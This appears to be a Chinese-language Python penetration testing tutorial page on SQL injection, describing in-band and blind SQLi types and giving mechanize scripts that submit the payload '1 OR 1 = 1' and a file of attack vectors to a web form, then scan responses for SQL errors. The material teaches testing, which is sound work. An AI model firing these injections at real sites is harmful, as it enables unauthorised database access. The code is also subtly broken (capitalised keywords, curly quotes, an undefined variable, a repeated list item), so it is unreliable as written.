📜  Python渗透测试-SQLi Web攻击

📅  最后修改于: 2020-12-06 10:36:33             🧑  作者: Mango


SQL注入是一组放置在URL字符串或数据结构中的SQL命令,以便从与Web应用程序连接的数据库中检索所需的响应。这种类型的攻击通常发生在使用PHP或ASP.NET开发的网页上。

可以出于以下意图进行SQL注入攻击-

  • 修改数据库的内容

  • 修改数据库的内容

  • 执行应用程序不允许的其他查询

当应用程序在将输入传递给SQL语句之前未正确验证输入时,这种类型的攻击有效。通常将注入放置在地址栏,搜索字段或数据字段中。

检测Web应用程序是否容易受到SQL注入攻击的最简单方法是在字符串使用“”字符,然后查看是否出现任何错误。

SQLi攻击的类型

在本节中,我们将学习不同类型的SQLi攻击。攻击可以分为以下两种类型:

  • 带内SQL注入(Simple SQLi)

  • 推理SQL注入(Blind SQLi)

带内SQL注入(Simple SQLi)

这是最常见的SQL注入。这种SQL注入主要发生在攻击者能够使用相同的通信通道来发起攻击和汇总结果的情况下。带内SQL注入进一步分为两种类型-

  • 基于错误的SQL注入-基于错误的SQL注入技术依赖于数据库服务器抛出的错误消息来获取有关数据库结构的信息。

  • 基于联合的SQL注入-这是另一种带内SQL注入技术,利用UNION SQL运算符将两个或多个SELECT语句的结果组合为单个结果,然后将其作为HTTP响应的一部分返回。

推理SQL注入(Blind SQLi)

在这种SQL注入攻击中,攻击者无法看到带内攻击的结果,因为没有数据通过Web应用程序传输。这就是它也被称为Blind SQLi的原因。推论SQL注入还有两种类型-

  • 基于布尔的盲SQLi-这种技术依赖于向数据库发送SQL查询,这迫使应用程序根据查询返回的是TRUE还是FALSE结果来返回不同的结果。

  • 基于时间的盲SQLi –这种技术依赖于向数据库发送SQL查询,这迫使数据库在响应之前等待指定的时间(以秒为单位)。响应时间将向攻击者指示查询结果是TRUE还是FALSE。

可以通过处理应用程序的输入数据来实现所有类型的SQLi。在以下示例中,我们正在编写Python脚本,以将攻击向量注入到应用程序中并分析输出以验证攻击的可能性。在这里,我们将使用名为mechanize的Python模块,该模块提供了在网页中获取Web表单的便利,并且也便于输入值的提交。我们还将这个模块用于客户端验证。

以下Python脚本有助于使用机械化提交表单并分析响应-

首先,我们需要导入机械化模块。

import mechanize

现在,在提交表单后,提供用于获取响应的URL名称。

url = input("Enter the full url")

以下代码行将打开网址。

request = mechanize.Browser()
request.open(url)

现在,我们需要选择表格。

request.select_form(nr = 0)

在这里,我们将列名称设置为“ id”。

request["id"] = "1 OR 1 = 1"

现在,我们需要提交表格。

response = request.submit()
content = response.read()
print content

上面的脚本将打印POST请求的响应。我们已经提交了一个攻击向量来破坏SQL查询并打印表中的所有数据,而不是一行。所有攻击媒介都将保存在一个文本文件中,例如vectors.txt。现在,下面给出的Python脚本将从文件中获取这些攻击向量,并将它们一一发送到服务器。还将输出保存到文件中。

首先,让我们导入机械化模块。

import mechanize

现在,在提交表单后,提供用于获取响应的URL名称。

url = input("Enter the full url")
   attack_no = 1

我们需要从文件中读取攻击向量。

With open (‘vectors.txt’) as v:

现在,我们将发送每个arrack向量的请求

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

现在,下面的代码行将响应写入输出文件。

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

通过检查和分析响应,我们可以确定可能的攻击。例如,如果它提供的响应包含句子“您在SQL语法中存在错误”,则表示该表单可能会受到SQL注入的影响。